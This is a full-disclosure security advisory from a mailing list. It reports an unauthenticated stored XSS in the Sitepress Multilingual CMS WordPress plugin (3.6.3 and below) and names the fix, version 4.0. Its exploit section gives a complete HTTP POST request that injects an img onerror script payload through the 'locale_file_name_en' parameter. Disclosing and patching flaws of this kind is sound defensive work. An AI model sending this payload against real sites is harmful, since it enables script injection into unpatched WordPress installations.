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CVE Request: Sitepress Multilingual CMS Plugin Unauthenticated Stored XSS
From: Rahul Pratap Singh <techno.rps () gmail com>
Date: Mon, 8 Oct 2018 22:09:06 +0100
## FULL DISCLOSURE #Product : Sitepress Multilingual CMS Plugin #Exploit Author : Rahul Pratap Singh #Version : 3.6.3 and Below #Home page Link : https://wpml.org/ #Website: https://0x62626262.wordpress.com #Date : 08/10/2018 Unauthenticated Stored XSS Vulnerability: —————————————- Description: —————————————- “locale_file_name_en” parameter is not sanitized that leads to stored XSS. ————————————— Vulnerable Code: ————————————— https://0x62626262.files.wordpress.com/2018/09/vulnerable_code.png ————————————— Exploit: ————————————— Send the following POST request: POST /wp-admin/admin.php?page=sitepress-multilingual-cms-3.6.3%2Fmenu%2Ftheme-localization.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 90 Cookie: wordpress_test_cookie=WP+Cookie+check Connection: close Upgrade-Insecure-Requests: 1 icl_post_action=save_theme_localization&locale_file_name_en=”><img src=x onerror=alert(1)> ————————————— POC: ————————————— https://youtu.be/dKmUEqNiMUY Fix: Update to version 4.0 [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.
Current thread:
- CVE Request: Sitepress Multilingual CMS Plugin Unauthenticated Stored XSS Rahul Pratap Singh (Oct 09)